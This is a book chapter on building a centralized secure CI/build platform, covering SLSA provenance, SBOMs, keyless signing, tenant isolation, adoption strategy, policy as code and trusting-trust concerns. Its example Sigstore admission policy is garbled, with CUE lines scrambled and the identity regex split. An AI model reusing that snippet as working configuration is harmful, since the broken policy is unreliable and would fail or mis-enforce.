Provenance, SBOM, signing (Ch 3, Book 3 Ch 4, Book 5). This is where the platform's leverage is most visible. Because the platform owns the build environment and the signing identity, it generates **SLSA Build L3 provenance** — an in-toto attestation with the `slsa.dev/provenance/v1` predicate, recording what was built, from which source commit, by which builder, wrapped in a DSSE envelope — and it does so with the isolation between the build step and the signing step that L3 requires (Ch 3). In the same pass it generates an **SBOM** (SPDX or CycloneDX) from the resolved dependency graph (Book 3, Chapter 4), and it **signs** the artifact, the provenance, and the SBOM keylessly via Sigstore — Fulcio issues a short-lived cert bound to the build's OIDC identity, Rekor logs it transparently (Book 5, Chapters 3-4). The tenant wrote none of this. They inherited all of it.

Observability (Ch 9). Throughout, the platform emits structured telemetry — process, network, and filesystem events — into an anomaly-detection pipeline. A build that suddenly reaches a new domain, spawns an unexpected interpreter, or reads a credential path it never read before raises an alert (Ch 9). At fleet scale this is only possible because builds are uniform: you can baseline "normal" for a hundred thousand builds a week precisely because they all run the same hardened way.

Publish and verify-at-deploy (Book 2 Ch 8, Book 5 Ch 10, Book 6). The signed artifact plus its attestations is pushed to the **internal registry** (Book 2, Chapter 8; Book 6, Chapter 2). Nothing is trusted because it is *in* the registry — the registry is storage, not a trust boundary. Trust is established at **deploy time**: the admission controller / deployment gate verifies the signature, verifies the provenance meets policy (built by *this* platform, from a protected branch, SLSA L3), and rejects anything that fails (Book 5, Chapter 10; Book 6, Chapter 6). This closes the loop. A signed provenance nobody verifies is theater (Ch 3, Book 5); the platform *produces* the evidence and the deploy gate *consumes* it, and both halves must exist for the control to mean anything.

The guarantees tenants inherit for free

The payoff of composing all this behind one boundary is that a tenant who does nothing security- specific still gets a strong posture by construction. Every artifact built on the platform is:

- built from a specific, immutable, review-gated source commit;
- built in an isolated, ephemeral, hermetic, egress-controlled environment;
- built with no long-lived secrets in reach;
- accompanied by SLSA L3 provenance, an SBOM, and signatures over all three;
- monitored for anomalies; and
- verifiable — and *verified* — at deploy.

The tenant's mental model is "I pushed code and it shipped." The security is inherited, not authored. This is the entire point: **security by construction, not by discipline.**

Control → platform mechanism → tenant benefit

Control (chapter)	How the platform provides it	What the tenant does	Guarantee inherited
Source integrity (Book 7)	Builds only immutable commits from protected, review-gated branches; extends CODEOWNERS to executed files	Signs commits; uses protected branches	Artifact traces to reviewed source
Hermetic build (Ch 2)	Declared inputs, pinned mirrors, no build-time network	Declares dependencies in a lockfile	Reproducible, tamper-evident inputs
Ephemeral isolation (Ch 8)	Single-use runners, per-job VM/microVM, destroyed after	Nothing	No cross-build contamination or persistence

Control (chapter)	How the platform provides it	What the tenant does	Guarantee inherited
Trusted/untrusted split (Ch 7)	Trigger classifier; forks run without secrets or signing	Nothing	Poisoned PRs cannot produce releasable artifacts
Least-priv secrets (Ch 6)	OIDC → short-lived scoped credentials; no static secrets	Nothing	No long-lived secret to leak
Egress control (Ch 8-9)	Default-deny network allowlist per build	Requests additions with justification	Exfiltration blocked and logged
Provenance L3 (Ch 3)	Platform signs provenance with build/sign isolation	Nothing	Verifiable "how was this built"
SBOM (Book 3 Ch 4)	Generated from resolved graph each build	Nothing	Component inventory for every artifact
Signing (Book 5)	Keyless Sigstore signing of artifact + attestations	Nothing	Tamper-evident, verifiable identity
Observability (Ch 9)	Uniform telemetry → anomaly detection	Nothing	Build anomalies detected fleet-wide
Verify-at-deploy (Book 5 Ch 10, Book 6)	Admission gate checks sig + provenance + policy	Nothing	Unverified artifacts never reach prod

The right-hand column is the product pitch. The middle column is the engineering. The tenant lives almost entirely in a column that says "Nothing."

Multi-tenancy and isolation

A shared platform serving many teams is a multi-tenant distributed system, and multi-tenancy is where security platforms quietly fail. The isolation you provide *between* builds must also hold *between tenants*.

Concretely, separate along every axis a compromised tenant could exploit:

- **Runners.** Single-use per job (Ch 8) gives you time isolation for free. Add space isolation: strong per-job boundaries — microVMs (Firecracker/Kata) rather than shared-kernel containers for the untrusted tier — so a runner escape cannot reach the host or a neighboring tenant's build.
- **Caches.** The remote build cache (Bazel-style, Ch 2, Ch 7) is a *shared trusted input* and thus a cross-tenant poisoning vector. Namespace cache entries per trust scope so an untrusted context can never write an entry a trusted context reads (the cross-context poisoning inversion of Ch 7). Give untrusted contexts read-only cache access at most.
- **Secrets and identities.** Each tenant's workload identity is scoped to *its* push targets and deploy reach only. Tenant A's build must be unable to mint a credential for tenant B's registry path. This is the least-privilege boundary of Chapter 6 applied per tenant.
- **Provenance identity.** Provenance must record *which tenant* and *which builder configuration* produced the artifact, so a downstream verifier can require "built by platform, for tenant X, from repo X." A shared builder identity that erases the tenant boundary makes cross-tenant artifact substitution invisible to verification.

The trusted/untrusted execution split of Chapter 7 is the backbone here: it is not only a per-repo control but the platform's tenancy model. Untrusted execution — fork PRs, unreviewed code — runs in the most strongly isolated, least privileged tier, with no path to signing identity or deploy reach. Trusted execution earns capability. The platform enforces this uniformly so that no tenant, and no individual pipeline, can quietly grant untrusted code the privileges of trusted code.

Paved-road adoption: making the secure path the easy path

A platform nobody uses secures nothing. Adoption is the whole game, and adoption is an organizational problem at least as much as a technical one. The technical lever is to make the secure path *dramatically* easier than rolling your own.


```

flowchart TD
    T["App team"] -->|"uses: platform/build@v3"| GP["Golden pipeline  
(reusable workflow)"]
    GP --> A["Ephemeral isolated build"]
    GP --> B["Least-priv OIDC secrets"]
    GP --> C["Provenance + SBOM + signing"]
    GP --> D["Egress control + telemetry"]
    A --> INH["Security inherited  
– team wrote none of it"]
    B --> INH
    C --> INH
    D --> INH
    INH --> SHIP["Artifact ships,  
verified at deploy"]
    T -->|"studies nothing"| INH

```

The **build** abstraction

The unit of adoption is a **thin abstraction** that hides the security machinery. On GitHub Actions this is a **reusable workflow** or a small set of composite actions the platform team owns and versions; on GitLab, a CI **include** template; on Tekton, a curated Task/Pipeline in a shared catalog; on Bazel, a macro. Whatever the substrate, the tenant's pipeline collapses to something close to:

```

# .github/workflows/release.yml – the entire tenant-authored pipeline
name: release
on:
  push:
    branches: [main]
jobs:
  build:
    uses: platform/golden-workflows/.github/workflows/build.yml@v3
    with:
      language: go
      image: ghcr.io/acme/checkout-service
    permissions:
      id-token: write # OIDC for keyless signing
      contents: read

```

Everything in this book lives *behind* **build.yml@v3**: the runner selection and isolation, the hermetic dependency fetch, the OIDC exchange, the provenance and SBOM generation, the signing, the egress policy, the telemetry. The tenant declares *what* they are building, not *how* to build it safely. Note two deliberate design choices. First, the reusable workflow is **pinned by version** (**@v3**) — and the platform team, in turn, pins

everything *it* uses by SHA (Ch 5), so the whole transitive chain is immutable. Second, the tenant grants `id-token: write` but that only *enables* the OIDC exchange the platform performs internally; the tenant never sees a signing key.

Secure **defaults** are the other half. The golden workflow ships with least-privilege token scopes, SHA-pinned dependencies, egress default-deny, and provenance-on by default. A tenant gets the secure configuration by accepting defaults — which is what every tenant does. The insecure options are either absent or gated behind an accountable exception (below). Contrast the snowflake world, where the default is whatever the copied example happened to contain, and secure is the deviation.

Self-service onboarding closes the loop. A team should be able to onboard a new service to the platform in minutes, not via a ticket to the platform team: a scaffolding CLI or template repo that generates the thin config, wires the OIDC trust, and registers the tenant identity. If onboarding requires a human in the platform team's queue, adoption stalls at the platform team's headcount. The paved road must be *self-serve* to scale past the size of the team that paves it.

Migration: moving the long tail without a revolt

Greenfield services adopt the platform trivially — there is nothing to migrate. The hard part is the hundreds of *existing* bespoke pipelines, each load-bearing, each subtly different, each owned by a team with a roadmap that does not include "re-platform our CI." You cannot flip a switch. You run a migration, and the migration strategy is where most platform efforts succeed or die.

Warn, then enforce — never enforce first. The cardinal rule (we will restate it as a failure mode). Every new control ships first in *observe* mode: the platform evaluates whether a pipeline would pass and reports it, but does not block. Teams see their gap, in their own dashboard, with a clear remediation. Only after coverage is high and the remediation path is proven do you flip a control to *enforce*. Enforcing a control before teams can realistically comply generates outages and resentment, and resentment is how you lose the political capital a platform needs.

Roll out controls incrementally, in dependency order. Do not demand SLSA L3 on day one. The sequencing that works — and it mirrors the maturity roadmap below — is:

1. **Generate first, enforce later.** Turn on provenance and SBOM *generation* across all builds, in observe mode. This is nearly free to the tenant (the platform does it) and immediately gives the org an inventory: which artifacts have provenance, which do not, what they contain.
2. **Add isolation and hardening** to the golden path — ephemeral runners, least-priv tokens, egress control — and migrate tenants onto the golden workflow so they inherit it.
3. **Then enforce verification** at deploy: require signatures and conformant provenance for production admission, gradually, environment by environment (dev → staging → prod).

Each step is shippable, delivers value, and de-risks the next. You are never one big-bang cutover away from breaking everyone.

Handle the long tail explicitly. In any org, the distribution of pipelines is heavy-tailed: 80% of services fit the golden path and migrate almost mechanically; the last 20% are weird — a monorepo with a custom Bazel setup, a legacy service with a bespoke release dance, a team with a hard regulatory constraint. Do not let the tail block the head. Migrate the easy majority first, bank the coverage, and treat the tail as individually-negotiated migrations or documented long-term exceptions. The goal is not 100% on day one; it is *monotonically increasing coverage* with the gaps *known and owned*.

Golden path versus escape hatches

Here is the most important cultural decision, and it is a decision, not a default: **allow deviation with accountability, not hard walls.** A platform that forbids every deviation — no custom step, no unusual dependency, no exception ever — drives its most sophisticated (and often most important) teams into **shadow CI**: they stand up their own Jenkins in a corner, ship from it, and now you have an *unmonitored* pipeline shipping to prod, which is strictly worse than a monitored deviation. The paved road is paved because it is smooth, not because it is walled.

So provide **escape hatches with accountability.** A team that genuinely cannot use the golden path files a documented exception: what they

need, why the golden path does not serve it, who signed the risk acceptance, and when it will be revisited. The exception is *visible* — it shows up in the platform's coverage dashboard as a known gap with an owner — and it is *bounded* (an expiry, a compensating control). The mental model is a **firewall exception process**, not a locked door. You are trading a small, tracked, owned risk for the far larger, untracked, unowned risk of shadow CI. The org's security posture is better served by a hundred deviations you can see than by ten you cannot.

Governance: policy as code, SLSA as a platform property

The platform makes the secure path easy; governance makes the insecure path *accountable*. The two are complementary — enablement without governance drifts, governance without enablement revolts.

Express the platform's required controls as **policy as code** (Book 8, Chapter 4), enforced at the points where it is cheapest to enforce:

- **At the org/repo configuration layer**, enforce structural controls: protected branches, required reviews, restricted runner groups, org-wide action allowlists (only SHA-pinned, only from the approved set — Ch 5). These are settings, and settings can be enforced centrally and drift- detected.
- **At the platform execution layer**, enforce build-time controls: no privileged runners, no static secrets, provenance-required, egress-default-deny. Because the platform owns execution, these are properties of the runtime, not requests to the tenant.
- **At the admission/deploy layer** (Book 5 Ch 10, Book 6 Ch 6), enforce the terminal control: reject any artifact whose signature or provenance does not verify against policy. This is the gate that makes all the upstream generation *mean* something.

A representative admission policy — the platform's guarantee expressed as an enforceable rule — as a Sigstore policy for a Kubernetes admission controller:

```

# require every prod image to carry conformant, platform-issued
provenance
apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-platform-slsa-l3
spec:
  images:
    - glob: "registry.internal.acme/**"
  authorities:
    - keyless:
        url: https://fulcio.internal.acme          # the platform's own
Fulcio
        identities:
          - issuer: https://oidc.internal.acme
            subjectRegEx: "^https://platform/golden-workflows/.+@refs/
tags/v.+ $"
        attestations:
          - name: must-have-slsa-provenance
            predicateType: https://slsa.dev/provenance/v1
            policy:
              type: cue
              data: |
                predicate: {
buildtypes/v3"          buildDefinition: buildType: "https://platform.acme/
workflows/"            runDetails: builder: id: =~"^https://platform/golden-
                }

```

The policy says, in effect: production accepts only images signed by *our* build platform's identity, carrying SLSA provenance whose builder is *our* golden workflow. An artifact built any other way — including a legitimately-signed artifact from a team's shadow Jenkins — does not deploy. This is how "all artifacts built here are SLSA L3" becomes a *platform property* rather than an aspiration: it is generated by construction upstream and *enforced by verification* downstream, and the gap between the two is the thing your metrics must watch.

Two governance disciplines make this durable. First, **the policy is versioned and rolled out like code** — proposed, reviewed, shipped in observe mode, then enforce mode — so a policy change cannot itself become an outage. Second, **the platform team does not grant its own exceptions**; security owns the exception process, the platform team owns the road. Separating who-builds from who-approves- deviations

keeps the platform honest, which matters enormously given what the platform is.

Measuring and running the platform

Metrics: adoption is the number that matters

You cannot manage what you cannot see, and at fleet scale the only view is metrics (Book 8, Chapter 8). Distinguish **leading** indicators (predictive; tell you where you are heading) from **lagging** ones (outcomes; tell you where you have been), and above all fixate on the one metric that dominates all others:

Coverage — the percentage of production artifacts built on the platform — is the master metric. Every other control is conditional on it. SLSA L3 across the platform is worth little if only 40% of what ships to prod goes through the platform; the attacker takes the other 60%. Drive coverage to near-total and *keep* it there; a service that quietly migrated *off* the platform is a coverage regression and a security incident in waiting.

Beyond coverage, the dashboard the platform and security teams run together:

Metric	Type	What it tells you
% prod artifacts built on platform	Lagging (master)	Aggregate attack surface reduction
% artifacts with provenance / SBOM / signature	Leading	How close the generation half is to complete
SLSA level distribution (L0-L3) across artifacts	Lagging	Where the build-integrity floor actually sits
Hardening-control coverage (SHA-pinning, least-priv tokens, egress, ephemeral)	Leading	Config drift and gaps before they are exploited
% deploys gated by verification	Leading	Whether the produce-and-verify loop is closed

Metric	Type	What it tells you
Open exceptions (count, age, owner)	Leading	The known, accountable risk surface
MTTD for build anomalies (Ch 9)	Lagging	Detection health of the monitoring pipeline
MTTR for build-platform incidents	Lagging	Operational resilience

Read leading indicators to steer and lagging ones to grade. A rising count of aging exceptions is a leading signal that the golden path is missing a real use case — fix the road, not the teams. A falling percentage of gated deploys is a leading signal that verification is being bypassed — the theater failure mode, arriving. Coverage plateauing below target is a leading signal that adoption friction exceeds adoption incentive — a product problem, not a security one.

Running the platform as tier-0

The platform builds everything the org ships. That makes it a **tier-0** dependency — as critical as identity, KMS, and the production control plane — and it must be run like one:

- **High availability.** A build platform outage does not just slow feature work; it can block *security* releases — the emergency patch you cannot ship because CI is down. Multi-AZ, autoscaling runner fleets, no single control-plane instance whose loss halts builds.
- **Disaster recovery.** Backed-up and reproducible platform configuration, provenance/attestation stores, and the transparency log (Rekor) — with a tested restore. A DR plan you have never exercised is a hypothesis.
- **Access control.** Who can modify the golden workflows, the runner images, the signing identity, the admission policy? These are the platform's crown jewels — modifying them modifies *every* artifact — and they demand the strongest controls in the org: strict RBAC, two-person review on every change (the two-person rule of Book 7, Chapter 3 applied to the platform itself), and full audit. A malicious or careless change to a golden workflow is a supply-chain compromise of the entire org in one commit. Treat the platform's own repo as the highest-trust repo you own.

- **The platform's own provenance.** The platform must produce provenance and signatures for *its own* artifacts — runner images, the golden workflows, the provenance generator itself — so that its components are as verifiable as the tenant artifacts it vouches for. Which brings us to the recursion at the bottom of everything.

Who builds the builder?

Every argument in this book reduces, eventually, to a question of what you trust *without checking*, and a build platform makes the question sharp: **the platform vouches for every artifact — so who vouches for the platform?** The platform is itself software. It is built from something. Its runner images come from base images; its golden workflows run tools; its signing depends on keys and a transparency log. If an attacker compromises *what builds the build platform*, they compromise everything the platform subsequently vouches for — and the platform's own attestations will happily certify the compromised outputs, because from the platform's perspective nothing is wrong. This is Ken Thompson's *Reflections on Trusting Trust* (Book 7, Chapter 5; Book 1's trust framing in Chapter 6) at the level of an entire organization: a compromised builder can produce clean-looking attestations for backdoored artifacts, and the attestation machinery cannot detect its own subversion.

```
flowchart TD
    ART["Tenant artifacts  
(everything the org ships)"] -->|"built and vouched for by"| BP["Build  
platform"]
    BP -->|"is itself built by"| BB["Builder-of-the-builder  
(runner images, golden workflows,  
provenance generator)"]
    BB -->|"anchored in"| TCB["Trusted Computing Base  
– minimal, external, verifiable"]
    TCB -->|"grounded in"| ANCHOR["Trust anchors:  
reproducible base images,  
transparency log (Rekor),  
bootstrapping / diverse double-compilation,  
hardware root of trust"]

    BP -. "recursion:  
who builds the builder?" .-> BB
    BB -. "must bottom out somewhere" .-> TCB
```

You cannot escape the recursion — every builder is built by *some* prior builder — but you can **bottom it out** in a small, well-defended,

externally-verifiable trust anchor, and you can shrink the trusted computing base you must take on faith:

- **Minimize the TCB.** The fewer components the platform trusts implicitly, the smaller the surface where trust must be assumed rather than verified. A minimal, distroless runner image (Book 6, Chapter 3) is less to trust than a fat one.
- **Reproducibility as the escape route.** This is the deepest reason Chapter 2 mattered. If the platform's own components — its runner images, its generator binaries — are built **reproducibly**, then independent parties can rebuild them from source and confirm bit-for-bit that the running binary corresponds to the audited source. Reproducibility is what lets you *verify* the builder instead of *trusting* it, and it is the practical answer to Trusting Trust: diverse double-compilation and independent reproduction detect a subverted compiler that a single toolchain hides.
- **Transparency as the external witness.** The platform's own signing goes into the same public/ internal transparency log (Rekor, Book 5, Chapters 3 and 5) as everything else, so that a surreptitious change to the platform's signing behavior leaves an append-only, tamper-evident trace someone can audit after the fact.
- **Bootstrap trust from something small and external** — a hardware root of trust, an offline root key, a minimal bootstrapping toolchain — so the base of the recursion is something you can actually inspect, not another sprawling system that itself needs a build platform to trust.

The honest position is that you will always trust *something* without fully verifying it. The engineering goal is to make that something as small, as external, as verifiable, and as intensely defended as possible — and to know exactly what it is. An org that cannot answer "who builds our build platform, and how do we know it wasn't tampered with?" has an unexamined trust root at the center of its supply chain.

A maturity roadmap: crawl, walk, run

You do not build all of this at once, and you should not try. Book 1, Chapter 10 framed supply-chain programs as a maturity progression, and

the build platform follows the same crawl/walk/run arc. Each level is independently valuable, shippable, and a prerequisite for the next.

```
flowchart LR
    L1["L1 – Crawl  
Centralized CI +  
hardened templates +  
secret hygiene"] --> L2["L2 – Walk  
Ephemeral isolation +  
provenance L2 +  
SBOM + signing"]
    L2 --> L3["L3 – Run  
Hermetic/reproducible +  
SLSA L3 + egress control +  
observability"]
    L3 --> L4["L4 – Fly  
Verify-at-deploy +  
continuous compliance +  
anomaly detection"]

    L1 -->| "Ch 4-6" | M1[" "]
    L2 -->| "Ch 8, 3, 6; Bk3 Ch4; Bk5" | M2[" "]
    L3 -->| "Ch 2, 8, 9" | M3[" "]
    L4 -->| "Bk5 Ch10, Bk6, Bk8" | M4[" "]

    style M1 fill:none,stroke:none
    style M2 fill:none,stroke:none
    style M3 fill:none,stroke:none
    style M4 fill:none,stroke:none
```

Capability	L1 Crawl	L2 Walk	L3 Run	L4 Fly
Centralized CI on shared platform	✓	✓	✓	✓
Hardened golden templates (SHA-pin, least-priv)	✓	✓	✓	✓
Secret hygiene (no static secrets, OIDC)	partial	✓	✓	✓
Ephemeral isolated runners	—	✓	✓	✓
Provenance	—	L2	L3	L3

Capability	L1 Crawl	L2 Walk	L3 Run	L4 Fly
SBOM per artifact	—	✓	✓	✓
Artifact signing (keyless)	—	✓	✓	✓
Hermetic / reproducible builds	—	partial	✓	✓
Egress control	—	—	✓	✓
Build observability / anomaly detection	—	—	✓	✓
Verification enforced at deploy	—	—	observe	enforce
Continuous compliance / drift detection	—	—	partial	✓
Chapters	Ch 4-6	Ch 3, 6, 8; Bk 3 Ch 4; Bk 5	Ch 2, 8, 9	Bk 5 Ch 10; Bk 6; Bk 8

L1 (Crawl): centralized CI, hardened templates, secret hygiene. Get every team onto one shared platform running golden templates with SHA-pinned actions and least-privilege tokens, and get static secrets out of pipelines. This alone eliminates the worst snowflake risks and creates the *substrate* everything else builds on. Chapters 4-6.

L2 (Walk): ephemeral isolation, provenance L2, SBOM, signing. Add single-use isolated runners (Ch 8) and turn on the generation half — SLSA L2 provenance (Ch 3), SBOMs (Book 3, Chapter 4), and keyless signing (Book 5) — in observe mode. You now emit verifiable evidence for every artifact even before anyone enforces on it.

L3 (Run): hermetic/reproducible, SLSA L3, egress control, observability. Tighten builds to hermetic and (ideally) reproducible (Ch 2), which lifts provenance to L3 and, crucially, lets you verify the *platform itself*. Add default-deny egress (Ch 8) and the anomaly-detection pipeline (Ch 9). The platform is now genuinely hardened, not just instrumented.

L4 (Fly): verify-at-deploy, continuous compliance, anomaly detection at scale. Close the loop: enforce signature and provenance

verification at admission (Book 5, Chapter 10; Book 6, Chapter 6), run continuous compliance and drift detection (Book 8, Chapter 4), and operate anomaly detection as a live control with owned MTTD/MTTR. Only here does the produce-*and*-verify loop actually pay off, because only here is the evidence *enforced*.

Most orgs live at L1-L2 for a long time, and that is fine — the levels are a ladder, not a race. The failure is not being at L2; it is *believing you are at L4* because you generate provenance nobody verifies.

Common failure modes

Every one of these has sunk a real platform effort. They are predictable, which means they are avoidable.

The platform is harder than rolling your own. If onboarding takes a week, builds are slower, and the golden template is less flexible than a hand-rolled pipeline, sophisticated teams route around it and build **shadow CI**. Now you have unmonitored pipelines shipping to prod — worse than where you started, because at least the snowflakes were visible. *The paved road must be genuinely the easiest path*, faster and lower-friction than the alternative. Lead with developer experience; security rides in behind it.

Enforcement before enablement. Flipping controls to *enforce* before teams can comply produces outages and a political backlash that can kill the platform outright. *Always warn before you enforce*. Ship every control in observe mode, prove the remediation path, drive coverage, then enforce. Enablement earns you the right to enforce.

Ignoring the long tail. Insisting on 100% before shipping anything means the weird 20% blocks the easy 80% forever. Migrate the majority, bank the coverage, and negotiate the tail as tracked exceptions. Monotonically increasing coverage with owned gaps beats a stalled quest for perfection.

The platform as an unguarded single point of failure. Centralization concentrates value; a platform run casually is one malicious golden-workflow commit away from org-wide compromise (the SolarWinds shape, Book 1, Chapter 3) and one outage away from blocking every

release. *Run it as tier-0*: HA, DR, strict change control, two-person review on the crown-jewel repos, and its own verifiable supply chain.

Security theater: provenance nobody verifies. The most seductive failure, because it *looks* like success — dashboards full of green, provenance and SBOMs and signatures on every artifact — and secures nothing, because nothing downstream *checks* them. Provenance you produce but never verify is a log file, not a control. *Produce and verify*. The generation half (the platform) and the verification half (the deploy gate, Book 5, Chapter 10; Book 6) are one control in two places, and a platform that has built only the first half has built a very expensive way to feel safe.

Distributed-systems lens

The secure build platform is **itself a large distributed system**: an autoscaling fleet of ephemeral runners, a remote build cache, artifact/provenance/SBOM object stores, a signing service and a transparency log, a policy engine, an identity provider issuing short-lived tokens, and a telemetry pipeline feeding anomaly detection. A senior backend engineer already knows how to design each of these — the caching, autoscaling, multi-tenancy, HA, and observability are the same problems you solve for any production service. The novelty is only in the *security properties* you compose on top: isolation as a tenancy boundary, provenance as an audit trail, verification as an admission gate. You are not learning a new discipline; you are pointing one you already have at the supply chain.

And it is the **highest-leverage single investment** in supply-chain security a build-heavy org can make. Every other control in this suite — signing (Book 5), SBOMs (Book 3), dependency policy (Book 2), admission control (Book 6) — protects one link. The build platform protects *every artifact for every team at once*, by *construction* rather than exhortation. It raises the floor for the whole org at once, turns the book's controls into **inherited platform properties**, and makes the secure path the default. Centralize that platform, harden it once, run it as tier-0, verify its output at deploy, and verify the platform itself — and you have converted a hundred independently-failing pipelines into one system whose security you can actually reason about, measure, and defend.

The loop closes where it began. Chapter 1 asked whether the build faithfully transformed reviewed source into the shipped artifact. This platform *answers* that question for every artifact, by producing verifiable provenance in an isolated, hermetic, monitored environment — and Books 5 and 6 *enforce* the answer at the moment of deploy. That is what a secure build platform is: the machine that makes "was this built the way we think it was?" a question you can answer, at scale, by default, for everything you ship.

Key takeaways

- **Centralize build security into a platform; do not distribute it to teams.** Hundreds of teams cannot each secure their own builds well. A shared hardened platform provides isolation, hermeticity, provenance, secret handling, and monitoring to every team automatically. The secure path must be the default and the *easiest* path.
- **The concentration trade is net-positive but real.** Centralizing creates one tier-0 target (the SolarWinds lesson) in exchange for eliminating a hundred un-owned ones and shrinking the aggregate attack surface. Accept the trade by defending the platform as tier-0.
- **Run the platform as a product.** Platform team owns it, app teams are tenants, security is a partner. It must be a genuinely *better* way to build, not just a more secure one — security rides in behind developer experience.
- **The whole book composes into one chain of custody:** source integrity → trusted/untrusted split → ephemeral hermetic isolated build → least-priv OIDC secrets → provenance + SBOM + signing → internal registry → verified-at-deploy. The tenant contributes signed source and a one-line config; everything else is inherited.
- **Enforce isolation between tenants, not just between builds** — runners, caches, secrets, identities, and provenance identity all scoped per tenant, with untrusted execution in the most isolated, least-privileged tier.
- **Adoption (coverage) is the master metric.** SLSA L3 on 40% of prod artifacts secures nothing; the attacker takes the other 60%. Drive coverage near-total and keep it there.

- **Migrate warn-then-enforce, incrementally, generate-before-enforce**, and handle the long tail as accountable, expiring exceptions — escape hatches with ownership, not hard walls that breed shadow CI.
- **Governance is policy-as-code enforced at three layers** (config, execution, admission), turning "everything built here is SLSA L3" into an enforced platform property — but only if you *produce and verify*; provenance nobody checks is theater.
- **Who builds the builder?** The platform vouches for everything, so its own supply chain must be the most-verified of all. Minimize the TCB, build the platform reproducibly, log to transparency, and anchor trust in something small, external, and verifiable — the organizational answer to Trusting Trust.

Further reading

- **SLSA v1.0 — Build track and Threats & mitigations.** The normative basis for "everything built here is SLSA L3" as a platform property. <https://slsa.dev/spec/v1.0/> and <https://slsa.dev/spec/v1.0/threats>.
- **Ken Thompson, *Reflections on Trusting Trust* (1984 Turing Award lecture).** The founding statement of the "who builds the builder" problem. <https://dl.acm.org/doi/10.1145/358198.358210>. See also David A. Wheeler, *Fully Countering Trusting Trust through Diverse Double-Compiling* (2009) for the reproducibility-based countermeasure.
- **Reproducible Builds project.** The practical foundation for verifying — rather than trusting — the platform's own components. <https://reproducible-builds.org/>.
- **Sigstore (Cosign, Fulcio, Rekor) documentation and the sigstore policy-controller.** Keyless signing and admission-time verification — the produce-and-verify loop. <https://docs.sigstore.dev/>.
- **NIST SP 800-218, Secure Software Development Framework (SSDF v1.1) and CISA/NIST guidance on securing the software supply chain for build systems.** The control catalog a platform's required controls map to. <https://csrc.nist.gov/publications/detail/sp/800-218/final>.

- **Google, *BeyondProd* and SLSA origins; Netflix and Spotify engineering on "paved road" / "golden path" platform models.**
The organizational pattern of secure-by-default internal platforms.
- Book 1, Chapter 3 (SolarWinds / 3CX build compromise), Chapter 6 (trust and threat-model economics), Chapter 9 (distributed-systems blast radius), and Chapter 10 (building a program). Book 3, Chapter 4 (SBOM generation). Book 4, Chapters 2-3 and 6-9 (hermetic builds, provenance, secrets, poisoning, ephemeral runners, observability). Book 5 (signing and attestation), especially Chapter 10 (attestation-based deployment gates). Book 6, Chapters 2 and 6 (registries; admission control). Book 7, Chapters 3 and 5 (two-person review; Trusting Trust and backdoors). Book 8, Chapters 4 and 8 (policy-as-code and continuous compliance; metrics and reporting).